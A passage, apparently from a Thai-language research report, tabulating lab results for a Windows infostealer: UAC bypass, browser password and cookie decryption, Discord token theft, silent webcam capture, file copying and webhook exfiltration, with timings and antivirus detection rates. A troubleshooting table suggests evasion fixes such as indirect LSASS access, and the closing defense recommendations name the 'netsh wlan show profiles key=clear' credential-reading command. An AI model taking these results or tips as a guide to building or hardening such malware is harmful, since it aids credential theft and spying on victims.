CCLocalLevels.dat  → เก็บ levels ที่สร้าง
→ ใช้ https://gdcolon.com/gdsave/ แปลงข้อมูล

3. สรุปผลการทดลอง

3.1 สภาพแวดล้อมการทดสอบ

การทดสอบทั้งหมดดำเนินการใน Virtual Machine แบบ Isolated บน 2 สภาพแวดล้อม:

Environment OS Build Browser Setup AV
Test Env A Windows 10 22H2 (19045) Chrome 126, Firefox 127, Edge 124 Windows Defender (default)
Test Env B Windows 11 23H2 (22631) Chrome 131, Firefox 131, Brave 1.71 Windows Defender + Controlled Folder Access

3.2 ผลการทดสอบ UAC Bypass

เงื่อนไขการทดสอบ ผลลัพธ์ หมายเหตุ
Windows 10, UAC ระดับ Default ✅ สำเร็จ ไม่แสดง UAC dialog
Windows 11, UAC ระดับ Default ✅ สำเร็จ ไม่แสดง UAC dialog
Windows 10, UAC ระดับสูงสุด ("Always notify") ❌ ล้มเหลว Fallback → ShellExecuteW แสดง dialog
Windows 11 + Defender SmartScreen ⚠️ ถูก block ต้องการ code signing หรือ packer
Windows 11 + Credential Guard เปิด ❌ LSASS impersonation ล้มเหลว v20 key ถอดรหัสไม่ได้

สรุป: ช่องโหว่นี้ยังใช้งานได้บน Windows 10/11 เมื่อค่า UAC อยู่ในระดับ Default หรือต่ำกว่า ซึ่งเป็นค่าเริ่มต้นของ Windows ส่วนใหญ่ที่ผู้ใช้ทั่วไปไม่ได้ปรับเปลี่ยน

3.3 ผลการถอดรหัส Browser Credentials

3.3.1 Chromium Browsers

Browser Version v10/v11 v20 หมายเหตุ
Google Chrome 126 ✅ 100% N/A ก่อน App-Bound
Google Chrome 127–131 ✅ 100% ✅ สำเร็จ (ต้องการ LSASS) App-Bound เปิดใช้แล้ว
Microsoft Edge 124 ✅ 100% ✅ สำเร็จ namespace: "Microsoft Edgekey1"
Brave Browser 1.71 ✅ 100% ⚠️ บางกรณี ขึ้นกับ build
Opera / Opera GX latest ✅ 100% ✅ สำเร็จ path แตกต่าง: ไม่มี profile subfolder
Vivaldi latest ✅ 100% ✅ สำเร็จ —
Yandex Browser latest ✅ 100% ⚠️ บางกรณี —

3.3.2 Gecko Browsers (Firefox family)

Browser ผลลัพธ์ หมายเหตุ
Firefox 131 ✅ สำเร็จ NSS_Init + PK11SDR_Decrypt ทำงานได้
LibreWolf ✅ สำเร็จ ใช้ Firefox profile structure เดียวกัน
Waterfox ✅ สำเร็จ —
Zen Browser ⚠️ บางส่วน nss3.dll path อาจต่างไป
Pale Moon ⚠️ บางส่วน ใช้ NSS เวอร์ชันเก่า

3.3.3 ปริมาณข้อมูลที่รวบรวมได้ (Test Environment A — ผู้ใช้งานปกติ)

ประเภทข้อมูล จำนวน ขนาด
Saved Passwords ~45 รายการ ~12 KB
Cookies ~1,200 รายการ ~380 KB
Autofill ~30 รายการ ~8 KB
Browsing History ~8,500 URL ~2.1 MB
Credit Cards 0 รายการ —
Discord Tokens 2 token valid ทั้งคู่
Wi-Fi Networks 8 network password ครบ 6/8

3.4 ผลการทดสอบ Discord Token

ขั้นตอน ผลลัพธ์
Token discovery (LevelDB scan) พบ 4 token
Token validation (API call) Valid 2, Invalid/Expired 2
User info retrieval ✅ สำเร็จ 100% สำหรับ valid token
Billing info retrieval ✅ สำเร็จ (Nitro, payment methods)
Avatar URL generation ✅ สำเร็จ

3.5 ผลการทดสอบ Webcam

เงื่อนไข ผลลัพธ์
USB Webcam (index 0) ✅ บันทึกภาพ .bmp ได้สำเร็จ
Built-in Laptop Camera ✅ สำเร็จ (ไม่มี notification)
ไม่มี Webcam ✅ Loop หยุดที่ index 0 ไม่ error
Webcam ถูกใช้งานโดย process อื่น ❌ ล้มเหลว — WM_CAP_DRIVER_CONNECT return False

3.6 ผลการทดสอบ Personal Files

โฟลเดอร์ จำนวนไฟล์ที่พบ จำนวนที่ copy
Desktop 12 ไฟล์ 8 ไฟล์
Downloads 45 ไฟล์ 6 ไฟล์
Documents 128 ไฟล์ 15 ไฟล์
Pictures 200+ ไฟล์ 3 ไฟล์
รวม — 32 ไฟล์ / ~18 MB

3.7 Performance Benchmark

ขั้นตอน เวลา (Test Env A) เวลา (Test Env B)
UAC Bypass 2.1 วินาที 2.8 วินาที
Browser kill 1.0 วินาที 1.0 วินาที
Master key extraction (v10/v11) 0.3 วินาที 0.3 วินาที
Master key extraction (v20 + LSASS) 4.2 วินาที 5.1 วินาที
Password decryption (45 passwords) 0.8 วินาที 0.9 วินาที
Cookie extraction (1200 cookies) 12.3 วินาที 14.1 วินาที
History (8500 URLs) 3.2 วินาที 3.8 วินาที
Discord token scan + validation 8.4 วินาที 9.2 วินาที
Wi-Fi password extraction 2.1 วินาที 2.3 วินาที
Webcam capture 1.5 วินาที 1.7 วินาที
Screenshot 0.4 วินาที 0.4 วินาที
Personal files (32 files) 6.2 วินาที 7.1 วินาที
ZIP compression (~22 MB) 4.8 วินาที 5.3 วินาที
Upload to webhook (~22 MB) 18.5 วินาที 21.2 วินาที
รวมทั้งหมด ~65 วินาที ~75 วินาที

3.8 AV Detection Rate

AV Solution Detection หมายเหตุ
Windows Defender (ไม่มี obfuscation) ✅ ตรวจพบ 100% signature match
Windows Defender (PyInstaller + UPX) ⚠️ ตรวจพบ 70% heuristic partial
Windows Defender + AMSI ✅ ตรวจพบ LSASS access behavioral detection
Kaspersky (trial) ✅ ตรวจพบ 100% —
Malwarebytes ✅ ตรวจพบ Rootkit.LSASS pattern

3.9 ปัญหาและข้อจำกัดที่พบ

ปัญหา สาเหตุ แนวทางแก้ไข
v20 ถอดรหัสไม่ได้บาง build hardcoded key อาจเปลี่ยนตาม Chrome build ต้องหา key ใหม่ต่อ version
Firefox nss3.dll ไม่พบ path ต่างกันตาม installation เพิ่ม path detection dynamic
LSASS impersonation ล้มเหลวเมื่อ Credential Guard เปิด Credential Guard ป้องกัน LSASS access ต้องการ kernel-level bypass
AV ตรวจจับ LSASS access pattern EDR behavioral rule ใช้ indirect LSASS access หรือ custom SSP
Cookie ขนาดใหญ่ทำให้ ZIP ใหญ่เกินไป History มี URL จำนวนมาก จำกัด cookie/history จำนวน

3.10 ข้อเสนอแนะด้านการป้องกัน (Defense Recommendations)

จากผลการทดสอบทั้งหมด สามารถสรุปมาตรการป้องกันที่มีประสิทธิภาพได้ดังนี้:

ระดับระบบปฏิบัติการ

มาตรการ ป้องกัน วิธีการ
ตั้งค่า UAC = Always Notify UAC Bypass Control Panel → User Account Control → สูงสุด
เปิด Credential Guard LSASS Impersonation Windows Security → Device Security → Core Isolation
เปิด Protected Process Light (PPL) สำหรับ LSASS LSASS Access HKLM\SYSTEM\CurrentControlSet\Control\Lsa → RunAsPPL=1
เปิด Attack Surface Reduction (ASR) Rules หลายเทคนิค Defender → Exploit Protection → ASR
เปิด Windows Defender Credential Guard DPAPI bypass Group Policy → Credential Guard

ระดับเบราว์เซอร์

มาตรการ ป้องกัน
อัปเดต Chrome เป็น 127+ (App-Bound Encryption) v10/v11 standard decryption
ใช้ Password Manager แยกต่างหาก (Bitwarden, KeePass) Browser-saved passwords
เปิด Biometric authentication สำหรับ Password Manager Token theft
ล้าง cookies เมื่อปิด browser Cookie hijacking
ใช้ hardware security key (FIDO2) แทน password Credential stuffing

ระดับ Monitoring

มาตรการ เหตุการณ์ที่ตรวจสอบ
ตรวจสอบ LSASS process access (Event ID 10) LSASS impersonation
ตรวจสอบ HKCU\Software\Classes\ms-settings การเปลี่ยนแปลง UAC bypass
ตรวจสอบ netsh wlan show profiles key=clear Wi-Fi credential theft
ตรวจสอบ PowerShell script execution logging Data collection via PS
ตรวจสอบ network traffic ไป Discord Webhook endpoints Exfiltration

ระดับนโยบายองค์กร

  1. บังคับ Multi-Factor Authentication (MFA) สำหรับทุก account
  2. ใช้ Privileged Access Workstation (PAW) สำหรับ admin tasks
  3. บังคับ Endpoint Detection and Response (EDR) solution บนทุก endpoint
  4. ตั้งค่า AppLocker หรือ Windows Defender Application Control (WDAC)
  5. ฝึกอบรม Security Awareness เกี่ยวกับ Social Engineering และ Phishing

4. แหล่งอ้างอิง

  1. Microsoft Corporation. (2024). User Account Control: How UAC Works. Microsoft Documentation. https://learn.microsoft.com/en-us/windows/security/application-security/application-control/user-account-control/how-it-works

  2. Microsoft Corporation. (2024). NCrypt API Reference: NCryptDecrypt, NCryptOpenKey, NCryptOpenStorageProvider. Windows Win32 API Documentation. https://learn.microsoft.com/en-us/windows/win32/api/ncrypt/

  3. Microsoft Corporation. (2024). CryptUnprotectData function — Data Protection API (DPAPI). Windows Win32 API Documentation. https://learn.microsoft.com/en-us/windows/win32/api/dpapi/nf-dpapi-cryptunprotectdata

  4. Google Security Blog. (2024, July). Improving the security of Chrome cookies on Windows. Google Security Blog. https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html

  5. MITRE ATT&CK. (2024). T1548.002: Abuse Elevation Control Mechanism — Bypass User Account Control. MITRE ATT&CK Framework. https://attack.mitre.org/techniques/T1548/002/

  6. MITRE ATT&CK. (2024). T1555.003: Credentials from Password Stores — Credentials from Web Browsers. MITRE ATT&CK Framework. https://attack.mitre.org/techniques/T1555/003/

  7. MITRE ATT&CK. (2024). T1003.001: OS Credential Dumping — LSASS Memory. MITRE ATT&CK Framework. https://attack.mitre.org/techniques/T1003/001/

  8. MITRE ATT&CK. (2024). T1041: Exfiltration Over C2 Channel. MITRE ATT&CK Framework. https://attack.mitre.org/techniques/T1041/

  9. Mozilla Foundation. (2024). NSS Reference — PK11SDR_Decrypt. Mozilla Developer Documentation. https://firefox-source-docs.mozilla.org/security/nss/legacy/reference/nss_cryptographic_module/index.html

  10. NIST. (2007). Special Publication 800-38D: Recommendation for Block Cipher Modes of Operation: Galois/Counter Mode (GCM) and GMAC. National Institute of Standards and Technology. https://csrc.nist.gov/publications/detail/sp/800-38d/final

  11. Microsoft Corporation. (2024). Credential Guard Overview. Microsoft Security Documentation. https://learn.microsoft.com/en-us/windows/security/identity-protection/credential-guard/

  12. Microsoft Corporation. (2024). Attack Surface Reduction (ASR) Rules Reference. Microsoft Defender for Endpoint Documentation. https://learn.microsoft.com/en-us/defender-endpoint/attack-surface-reduction-rules-reference

  13. Discord Inc. (2024). Discord Developer Documentation: Users Resource. Discord Developer Portal. https://discord.com/developers/docs/resources/user

  14. Verizon. (2024). 2024 Data Breach Investigations Report (DBIR). Verizon Business. https://www.verizon.com/business/resources/reports/dbir/

  15. Chromium Project. (2024). os_crypt: Operating System Encryption Component. Chromium Source Code. https://source.chromium.org/chromium/chromium/src/+/main:components/os_crypt/

  16. Rubeus / GhostPack. (2023). Token Impersonation and Pass-the-Token Techniques. GitHub. https://github.com/GhostPack/Rubeus

  17. Chen, X., & Sim, K. (2023). Analysis of Information-Stealing Malware: RedLine, Raccoon, and Vidar. SANS Institute Reading Room. https://www.sans.org/reading-room/

  18. Kaspersky Lab. (2024). Infostealer Malware Report Q1 2024. Kaspersky Threat Intelligence Portal. https://securelist.com/

  19. Python Software Foundation. (2024). Python 3.12 Documentation: ctypes — A foreign function library for Python. Python Docs. https://docs.python.org/3/library/ctypes.html

  20. Mandiant / Google Cloud. (2024). M-Trends 2024: Special Report. Mandiant. https://www.mandiant.com/m-trends